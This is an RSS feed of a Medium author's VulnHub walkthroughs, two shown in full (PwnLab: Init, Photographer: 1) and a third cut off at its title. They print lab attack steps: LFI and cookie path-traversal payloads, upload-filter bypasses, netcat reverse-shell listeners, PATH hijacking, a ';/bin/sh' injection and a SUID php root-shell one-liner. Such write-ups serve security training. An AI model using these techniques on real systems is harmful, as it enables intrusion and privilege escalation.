<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jagadish Ray on Medium]]></title>
        <description><![CDATA[Stories by Jagadish Ray on Medium]]></description>
        <link>https://medium.com/@jagadish.ray.tech?source=rss-0180cff0e4ea------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*RNT6Iso7SZioaPosq3AqEg.jpeg</url>
            <title>Stories by Jagadish Ray on Medium</title>
            <link>https://medium.com/@jagadish.ray.tech?source=rss-0180cff0e4ea------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 20 Oct 2026 09:20:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jagadish.ray.tech/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[PWNLAB: INIT — VulnHub Walkthrough | From Initial Access to Root]]></title>
            <link>https://medium.com/@jagadish.ray.tech/pwnlab-init-vulnhub-walkthrough-from-initial-access-to-root-9d6699df55b0?source=rss-0180cff0e4ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d6699df55b0</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pwn-walkthrough]]></category>
            <category><![CDATA[pwnlab]]></category>
            <category><![CDATA[pwn-lab-walkthrough]]></category>
            <category><![CDATA[pwnlaninit-walkthrough]]></category>
            <dc:creator><![CDATA[Jagadish Ray]]></dc:creator>
            <pubDate>Fri, 16 Oct 2026 05:47:57 GMT</pubDate>
            <atom:updated>2026-10-16T05:47:57.484Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mfXNP2la8lJdqZGs_b8_Aw.png" /></figure><h3>Step 1. Lab Setup:</h3><p>I set up the PwnLab vulnerable machine in VirtualBox and connected it with my Kali Linux machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*fnXA31qGgDPD3VYiG_OzuA.png" /></figure><h3>Step 2. Finding the Target IP:</h3><p>I used netdiscover to identify the IP address of the PwnLab machine on the local network.</p><p><strong><em># netdiscover</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*0-KAlX2Y6kMRiaW2nCI4_w.png" /></figure><p>The scan confirmed the target machine at 192.168.1.3 (PCS Systemtechnik GmbH, the VirtualBox NIC vendor). I used this IP for the rest of the lab.</p><h3>Step 3. Web Enumeration:</h3><p>I browsed to port 80 on the target and found a custom web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kly2LZ6XhPKuZsZAk0FdIw.png" /></figure><p>The site was titled “PwnLab Intranet Image Hosting”, with a navigation bar offering Home, Login and Upload pages. I noted all three for further testing.</p><h3>Step 4. Discovering the LFI:</h3><p>The site used a page parameter in the URL (?page=login) to load content, which suggested a possible Local File Inclusion vulnerability. I tested this using the PHP filter wrapper to read the source of index.php as base64.</p><p><a href="http://192.168.1.3/?page=php://filter/convert.base64-encode/resource=index"><strong><em>http://192.168.1.3/?page=php://filter/convert.base64-encode/resource=index</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QRFjFTlb_v7xQsi8r9WQ3w.png" /></figure><p>The page returned a long base64-encoded string, confirming the page parameter was vulnerable to LFI via the php://filter wrapper.</p><h3>Step 5. Reading index.php:</h3><p>I decoded the base64 output using CyberChef’s “From Base64” recipe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sFmn1QALoBO5EoPCE6AW7Q.png" /></figure><p>The decoded source revealed the real vulnerability: index.php includes a file from the lang/ directory, built directly from the lang cookie, with no sanitisation.</p><p><strong><em>if (isset($_COOKIE[‘lang’])) { include(“lang/”.$_COOKIE[‘lang’]); }</em></strong></p><p>I noted this lang cookie as the real LFI injection point for later exploitation.</p><h3>Step 6. Reading login.php:</h3><p>I repeated the same technique against the login page to review its source.</p><p><a href="http://192.168.1.3/?page=php://filter/convert.base64-encode/resource=login"><strong><em>http://192.168.1.3/?page=php://filter/convert.base64-encode/resource=login</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NAJ7oTASkxGuIki3qMp7wg.png" /></figure><p>I decoded the result in CyberChef.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a5FPZJ9Aa0-PZr__W_mLcQ.png" /></figure><p>The source showed login.php requires config.php, then builds a prepared mysqli statement using the submitted username and a base64-encoded version of the submitted password. I noted the require of config.php as the next file to pull.</p><h3>Step 7. Reading config.php:</h3><p>I used the same LFI technique to read config.php.</p><p><a href="http://192.168.1.3/?page=php://filter/convert.base64-encode/resource=config"><strong><em>http://192.168.1.3/?page=php://filter/convert.base64-encode/resource=config</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gCRVl_2l2sbFwHeZpVWipQ.png" /></figure><p>I decoded the output in CyberChef.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xa34AnCWIZRrKmtuoupkaA.png" /></figure><p>This revealed the application’s MySQL database credentials in plaintext:</p><p>Username: <strong><em>root</em></strong> Password: <strong><em>H4u%QJ_H99</em></strong> Database: <strong><em>Users</em></strong></p><p>I saved these credentials for further testing.</p><h3>Step 8. Reading upload.php:</h3><p>I also pulled the source of the upload page, anticipating I would need it later.</p><p><a href="http://192.168.1.3/?page=php://filter/convert.base64-encode/resource=upload"><strong><em>http://192.168.1.3/?page=php://filter/convert.base64-encode/resource=upload</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YuWucIylKhFEcJlkkBTZnQ.png" /></figure><p>I decoded it in CyberChef.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jLbmH7eON3lYvdtZdnRF-A.png" /></figure><p>The code showed the upload feature requires a logged-in session, then validates uploads using getimagesize() and a whitelist of .jpg, .jpeg, .gif and .png extensions. I noted both checks for later bypass testing.</p><h3>Step 9. Accessing the Database:</h3><p>Since port 3306 was reachable, I connected directly to the remote MySQL service using the credentials found in config.php.</p><p><strong><em># mysql — skip-ssl -h 192.168.1.3 -u root -p</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*oQFvnK10z5VXXYWPB9d2aw.png" /></figure><p>I listed the databases and tables, then dumped the users table from the Users database, retrieving three usernames with base64-encoded passwords: kent, mike and kane.</p><h3>Step 10. Decoding the Passwords:</h3><p>I decoded each password value from base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*66YTUPvcf0WB5POiHzhpRA.png" /></figure><p>This gave me three sets of plaintext credentials:</p><p><strong><em>kent : JWzXuBJJNy mike : SIfdsTEn6I kane : iSv5Ym2GRo</em></strong></p><p>I saved all three for testing against the web login.</p><h3>Step 11. Web Login:</h3><p>I used the kent credentials to log in through the web application’s login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uhvltBlCPGTvfl6RcYCm_Q.png" /></figure><p>The login was successful and redirected me to the upload page, confirming authenticated access was now available.</p><h3>Step 12. Reviewing the Upload Restrictions:</h3><p>Before attempting to upload a web shell, I reviewed the upload.php source again to confirm exactly what checks I needed to bypass.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*j_zg3MPyi-iO8sB8koIX4Q.png" /></figure><p>This confirmed the file extension whitelist and the getimagesize() validation, both of which needed to be satisfied for the upload to succeed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*QpQ9tPOKrCwMTQ3zmTAEow.png" /></figure><h3>Step 13. Crafting the Payload:</h3><p>I created a file named shell.png containing a PHP reverse shell payload.</p><p><strong><em># nano shell.png</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cQ8ouD_fS61mtOlTuh-D_g.png" /></figure><h3>Step 14. First Upload Attempt:</h3><p>I attempted to upload shell.png as-is through the Upload page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZW1KPE0zcpoUziSrO29hFQ.png" /></figure><p>The upload failed with “Error 002”, since the file’s content was plain PHP code and did not pass the server’s getimagesize() check for a valid image.</p><h3>Step 15. Bypassing getimagesize():</h3><p>I edited shell.png again, this time prepending the <strong>GIF89a;</strong> magic bytes used at the start of a valid GIF file, ahead of the PHP reverse shell code. This satisfies getimagesize() while still letting the PHP code execute when the file is later included.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OvESYYme_ms-wHfmBENV3w.png" /></figure><h3>Step 16. Successful Upload:</h3><p>I uploaded the modified file through the Upload page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*44kFnT_UrHTefUJJP43IZw.png" /></figure><p>This time the upload succeeded, shown by the broken image icon (the browser could not render the file as a real image, but the server had accepted and stored it).</p><h3>Step 17. Locating the Uploaded File:</h3><p>Directory listing was enabled on the upload folder, so I browsed to it directly to find the stored filename.</p><p><a href="http://192.168.1.3/upload/"><strong><em>http://192.168.1.3/upload/</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a38b9yRs5lrUGhH3WPWNqA.png" /></figure><p>The server had renamed my file to a randomised hash: 00bf23e130fa1e525e332ff03dae345d.png. I noted this path for use with the LFI vulnerability.</p><h3>Step 18. Revisiting the LFI Vector:</h3><p>I went back to the decoded index.php source to confirm exactly how the lang cookie was used, ahead of chaining it with the uploaded file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*RE-RjcRHdWocsO3rLZJAzw.png" /></figure><p>Since the lang cookie value is concatenated directly into an include(“lang/”.$_COOKIE[‘lang’]) call with no sanitisation, a path traversal payload in the cookie could be used to include my uploaded PHP payload instead, regardless of its .png extension.</p><h3>Step 19. Intercepting the Request:</h3><p>I opened Burp Suite and intercepted a request to the upload page so I could add the malicious lang cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q5PxRIgfdE3yFQhPrI-JuA.png" /></figure><p>I edited the Cookie header, setting lang to a relative path that traverses out of the lang/ directory and into the uploaded file:</p><p><strong><em>Cookie: lang=../upload/00bf23e130fa1e525e332ff03dae345d.png</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yVXF9XFAz-gjg6Z7B5T5tA.png" /></figure><h3>Step 20. Starting the Listener:</h3><p>Before forwarding the modified request, I started a netcat listener on my attacker machine to catch the reverse shell.</p><p><strong><em># rlwrap nc -lnvp 1234</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*g5_L0adZmEVLKIskVa1Qyg.png" /></figure><h3>Step 21. Catching the Shell:</h3><p>I forwarded the request from Burp Suite, triggering the include() of my uploaded payload and executing the embedded PHP reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nTqfXYsa8N6mO_7Snbj_Uw.png" /></figure><p>I received a connection back from the target, giving me a shell as the www-data user. I upgraded it to a fully interactive TTY using Python.</p><p><strong><em>$ python -c ‘import pty;pty.spawn(“/bin/bash”)’</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*bsbrYkMZX7S_fKh8geWlFA.png" /></figure><h3>Step 22. User Enumeration:</h3><p>I listed the /home directory to see which local accounts existed on the system.</p><p><strong><em># ls -la</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*80ok5sXflcj-Goz2ergjfA.png" /></figure><p>Four user directories were present: john, kane, kent and mike. I already had working credentials for kent, kane and mike from the earlier database dump.</p><h3>Step 23. Switching to kane:</h3><p>I used the su command with the kane credentials found earlier to switch to a proper local user.</p><p><strong><em># su kane</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*7NrtYm16nyYo_47Dm7k6aw.png" /></figure><p>In kane’s home directory, I noticed a SUID binary named msgmike, owned by mike, with the setuid bit set. I noted this binary as a likely route to becoming mike.</p><h3>Step 24. Analysing msgmike:</h3><p>I used the strings command to inspect the binary for hardcoded commands.</p><p><strong><em># strings msgmike</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*3B5nrS2A1Hw38CCLaimsqg.png" /></figure><p>The output revealed the binary calls cat /home/mike/msg.txt via system(), without specifying a full path to cat. Since the binary runs as mike (via the SUID bit) and resolves cat through the user’s PATH, this was exploitable as a classic PATH hijacking vulnerability.</p><h3>Step 25. Hijacking the PATH:</h3><p>I created a malicious cat binary in /tmp that spawns a bash shell instead of printing a file, made it executable, and prepended /tmp to my PATH so it would be found before the real /bin/cat.</p><p><strong><em># cd /tmp</em></strong></p><p><strong><em># echo /bin/bash &gt; cat</em></strong></p><p><strong><em># chmod 777 cat</em></strong></p><p><strong><em># export PATH=/tmp:$PATH</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*bMIMUxxhlx6pXlreEiZSYw.png" /></figure><h3>Step 26. Privilege Escalation to mike:</h3><p>I ran the msgmike binary again, this time with the hijacked PATH in place.</p><p><strong><em># ./msgmike</em></strong></p><p>Instead of printing mike’s message file, the SUID binary executed my fake cat script and spawned a bash shell running as mike. Once inside /home/mike, I found a second SUID binary, msg2root, owned by root.</p><p>Running it prompted for a message to send to root. Since the program did not sanitise this input before passing it to a shell command, I entered a semicolon followed by a shell invocation to break out:</p><p><strong><em># ./msg2root Message for root: ;/bin/sh</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*MksGRxeVcajsKt0TLURtUA.png" /></figure><p>This spawned a shell with euid=0(root), confirming successful privilege escalation to root.</p><h3>Step 27. Lab Completion:</h3><p>With root access, I navigated to /root and listed its contents, finding flag.txt.</p><p><strong><em># cd /root</em></strong></p><p><strong><em># ls -la</em></strong></p><p><strong><em># more flag.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*DNU6yy1UgDe5ClLb3mNbVw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d6699df55b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Photographer: 1 — VulnHub Lab Walkthrough]]></title>
            <link>https://medium.com/@jagadish.ray.tech/photographer-1-vulnhub-lab-walkthrough-06ec60d6d8b3?source=rss-0180cff0e4ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/06ec60d6d8b3</guid>
            <category><![CDATA[photographer-1-writeup]]></category>
            <category><![CDATA[photographer-1-lab-answer]]></category>
            <category><![CDATA[photographer-vulnhub-lab]]></category>
            <category><![CDATA[photographer-walkthrough]]></category>
            <category><![CDATA[vulnhub-lab]]></category>
            <dc:creator><![CDATA[Jagadish Ray]]></dc:creator>
            <pubDate>Sun, 11 Oct 2026 10:22:02 GMT</pubDate>
            <atom:updated>2026-10-11T10:22:02.919Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tCs3NASNc5h-y5C2INxGzg.png" /></figure><h3>Step 1. Lab Setup:</h3><p>I set up the Photographer vulnerable machine in VirtualBox and connected it with my Kali Linux machine. The login screen revealed two local usernames on the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KllEBvSTQWhgAX8PIK8uwQ.png" /></figure><p>The login screen listed two accounts, agi and daisa, as well as a Guest Session option. I noted both usernames for later use.</p><h3>Step 2. Finding the Target IP:</h3><p>I used netdiscover to identify the IP address of the Photographer machine on the local network.</p><p><strong><em># netdiscover</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*6I7SvH23t-FHvZEiXb4wYA.png" /></figure><p>The scan confirmed the target machine at 192.168.1.13 (PCS Systemtechnik GmbH). I used this IP for the rest of the lab.</p><h3>Step 3. Nmap Scan:</h3><p>Next, I ran an Nmap scan with -A to gather detailed information about open ports and services.</p><p><strong><em># nmap -A 192.168.1.13</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*aJ-X0_A7LYKmWZzguiKcIg.png" /></figure><p>The scan showed four open ports: port 80 (Apache, titled “Photographer by v1n1v131r4”), ports 139 and 445 (Samba), and port 8000 (Apache, running the Koken CMS version 0.22.24 ). I noted all of these for further enumeration.</p><h3>Step 4. SMB Share Enumeration:</h3><p>I used smbclient to list the available SMB shares on the target machine.</p><p><strong><em># smbclient -L 192.168.1.13</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*QRjYTww1d-kZCeQqDdBAvw.png" /></figure><p>The listing revealed a share named <strong>sambashare</strong>, alongside the default print$ and IPC$ shares. I noted this share for further enumeration.</p><h3>Step 5. User Enumeration:</h3><p>I used enum4linux to enumerate further information about the target over SMB.</p><p><strong><em># enum4linux -a 192.168.1.13</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*qAkWOeusaYGY1mfJIvDFng.png" /></figure><p>Enum4linux began enumerating target information, workgroup details and Nbtstat information for the PHOTOGRAPHER host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*Td99D2pcw1AhiCPaWw3V8w.png" /></figure><p>It also confirmed the two local Unix users seen on the login screen earlier: daisa and agi. I noted both usernames for testing against the SMB share.</p><h3>Step 6. Accessing the SMB Share:</h3><p>I connected to the sambashare share using the agi username with a blank password.</p><p><strong><em># smbclient //192.168.1.13/sambashare -U agi</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*dUS8HSLbRGnekLEkOKLbWg.png" /></figure><p>The login was successful, giving me access to browse the share.</p><h3>Step 7. Downloading Share Contents:</h3><p>I listed the contents of the share and found two files of interest: mailsent.txt and wordpress.bkp.zip. I downloaded mailsent.txt for review.</p><p><strong><em>smb: \&gt; ls smb: \&gt; get mailsent.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*LslDJ_xQzg8RkRmhHVUb7Q.png" /></figure><h3>Step 8. Reading the Email:</h3><p>I read the contents of mailsent.txt on my machine.</p><p><strong><em># cat mailsent.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*n12_DfaI63KEboIeS6AhDw.png" /></figure><p>The file contained an email from Agi Clarence (<strong>agi@photographer.com</strong>) to Daisa Ahomi (<strong>daisa@photographer.com</strong>), letting her know her site was ready and reminding her: “Don’t forget your secret, my <strong>babygirl</strong> ;)”. I noted both email addresses and treated “<strong>babygirl</strong>” as a likely password hint for Daisa’s account.</p><h3>Step 9. Web Enumeration — Port 80:</h3><p>I browsed to port 80 on the target to review the web content there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*ymgrY1_hoSWR-xNshKaGDA.png" /></figure><p>This was a static landing page titled “Photographer by v1n1v131r4”, with placeholder Lorem Ipsum content and no obvious login functionality.</p><h3>Step 10. Web Enumeration — Port 8000:</h3><p>I then browsed to port 8000, which the earlier Nmap scan had flagged as running Koken CMS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*3LUGX6OlgcmFpuT9xw_b_w.png" /></figure><p>This page was a photography portfolio site for “daisa ahomi”, built with Koken, with sections for Home, Timeline, Albums, Content and Essays. I noted this as the likely target application.</p><h3>Step 11. Locating the Admin Panel:</h3><p>I navigated to the /admin/ path on port 8000 to check for a CMS login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*PY93mGh8kFSQUGTY9Oj49Q.png" /></figure><p>This revealed the Koken admin login panel, asking for an email address and password.</p><h3>Step 12. Logging Into Koken:</h3><p>I used the email address found in the email (daisa@photographer.com) along with the password hinted at in the same email.</p><p>Username: <strong><em>daisa@photographer.com</em></strong> Password: <strong><em>babygirl</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*TnVe7W8qHJv9cdv3FdHKkw.png" /></figure><p>I submitted the login form with these credentials.</p><h3>Step 13. Confirming Admin Access:</h3><p>The login was successful, giving me full access to the Koken admin dashboard and Library.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*9-51iIBfd3vHXQjZ_8agrw.png" /></figure><p>With authenticated access confirmed, I turned back to the earlier Nmap result to confirm the exact Koken version in use before searching for known vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*mdRWj_-dvSOXFl1cUQEhkA.png" /></figure><p>This confirmed the target was running Koken 0.22.24. I noted this version for vulnerability research.</p><h3>Step 14. Researching the Koken Vulnerability:</h3><p>I searched Exploit-DB for known vulnerabilities in Koken CMS 0.22.24 and found an authenticated arbitrary file upload vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*beXshX5z7PnoxT6EgyPIlA.png" /></figure><p>The exploit (EDB-ID 48706) explained that Koken’s upload restrictions rely on a file extension whitelist that can be bypassed: an attacker can upload a file such as image.php.jpg through the Import Content feature, then use Burp Suite to rename the file to image.php during the upload request itself, bypassing the check. I noted this exploit chain for testing.</p><h3>Step 15. Crafting the Malicious Payload:</h3><p>I created a PHP file disguised with a .jpg extension to pass the initial upload check.</p><p><strong><em># nano image.php.jpg</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*zEgi-6pXbH3rSym2yaTbpQ.png" /></figure><p>I used revshells.com to generate a PHP Pentest Monkey reverse shell payload, pointing back to my attacker machine (192.168.1.14) on port 1234, and placed this code inside image.php.jpg.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*-wbK8C4y55EsY0Kctw7UmQ.png" /></figure><h3>Step 16. Starting the Listener:</h3><p>In another terminal, I started a netcat listener to catch the reverse shell connection.</p><p><strong><em># rlwrap nc -lnvp 1234</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*dCe7ROZ-bBhABdTfc037Ew.png" /></figure><h3>Step 17. Uploading the Payload:</h3><p>Back in the Koken admin Library, I opened the Import Content dialog and queued image.php.jpg for upload, with Burp Suite running as an intercepting proxy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*4qiDcK0jQibfftpA_d913Q.png" /></figure><h3>Step 18. Bypassing the Upload Filter:</h3><p>Burp intercepted the upload POST request to /api.php?/content. I located the “name” form field, which contained image.php.jpg, and edited it in-flight to remove the .jpg extension, leaving just image.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*DAqTLdKMqfhWlHg3x0PuOw.png" /></figure><p>I then forwarded the modified request, causing the server to save the uploaded file as a live PHP script rather than an image.</p><h3>Step 19. Catching the Shell:</h3><p>After triggering the uploaded file, I received a connection on my netcat listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*l4V85PHTEZulNBBoMeqFaQ.png" /></figure><p>This gave me a shell as the www-data user. I upgraded it to a fully interactive TTY using Python.</p><h3>Step 20. Reading the User Flag:</h3><p>I searched the filesystem for a user flag and found one readable by www-data.</p><p><strong><em># find / -name “user.txt” 2&gt;/dev/null</em></strong></p><p><strong><em># cat /home/daisa/user.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*5XYIxLzFK5SRoBQRRJpVhA.png" /></figure><p>user.txt: <strong><em>d41d8cd98f00b204e9800998ecf8427e</em></strong></p><h3>Step 21. Searching for Privilege Escalation Paths:</h3><p>I searched for SUID binaries on the system to look for a route to privilege escalation.</p><p><strong><em># find / -perm -4000 2&gt;/dev/null</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*v_PZqbK9bOJhBF7AOWhqGw.png" /></figure><p>Among the standard SUID binaries, I noticed /usr/bin/php7.2 had the SUID bit set, which is unusual and a known privilege escalation vector. I noted this binary for testing.</p><h3>Step 22. Confirming the Escalation Technique:</h3><p>I checked GTFOBins for the correct technique to abuse a SUID PHP binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*G7aHaOzExZVQKjDGJWtHZg.png" /></figure><p>GTFOBins confirmed that a SUID PHP binary can be used to spawn a privileged shell using the pcntl_exec function, since the effective privileges are not dropped.</p><p><strong><em>php -r ‘pcntl_exec(“/bin/sh”, [“-p”]);’</em></strong></p><h3>Step 23. Privilege Escalation:</h3><p>I ran the SUID PHP binary with the pcntl_exec technique to spawn a privileged shell.</p><p><strong><em>$ /usr/bin/php7.2 -r ‘pcntl_exec(“/bin/sh”, [“-p”]);’</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*FxoviTr3jT1oD8lAXm4v3A.png" /></figure><p>Checking id confirmed the shell now had euid=0(root), confirming successful privilege escalation.</p><h3>Step 24. Lab Completion:</h3><p>With root access, I navigated to /root and listed its contents.</p><p><strong><em># cd /root</em></strong></p><p><strong><em># ls -la</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*o3gKS4r3-u6_pHqAv93UOw.png" /></figure><p>I found and read the proof.txt file, confirming successful completion of the Photographer lab.</p><p><strong><em># cat proof.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*PjoKCGxyrN3lAccEwbAQiQ.png" /></figure><p>proof.txt: <strong><em>d41d8cd98f00b204e9800998ecf8427e</em></strong></p><h3>Summary:</h3><p>The Photographer machine was compromised through a chain of information disclosure and outdated/misconfigured software: an anonymous, blank-password SMB share exposed an internal email revealing both a valid Koken CMS username and a password hint. These credentials granted authenticated access to Koken CMS 0.22.24, which was vulnerable to an authenticated arbitrary file upload flaw bypassable with Burp Suite, allowing a PHP reverse shell to be uploaded and executed as www-data. Privilege escalation to root was then achieved by abusing a misconfigured SUID bit on the php7.2 binary itself, using the pcntl_exec() technique to spawn a root shell.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=06ec60d6d8b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SoSimple VulnHub Walkthrough — Part 2: Exploitation & Privilege Escalation]]></title>
            <link>https://medium.com/@jagadish.ray.tech/sosimple-vulnhub-walkthrough-part-2-exploitation-privilege-escalation-4d2a9cf254b2?source=rss-0180cff0e4ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d2a9cf254b2</guid>
            <category><![CDATA[sosimple]]></category>
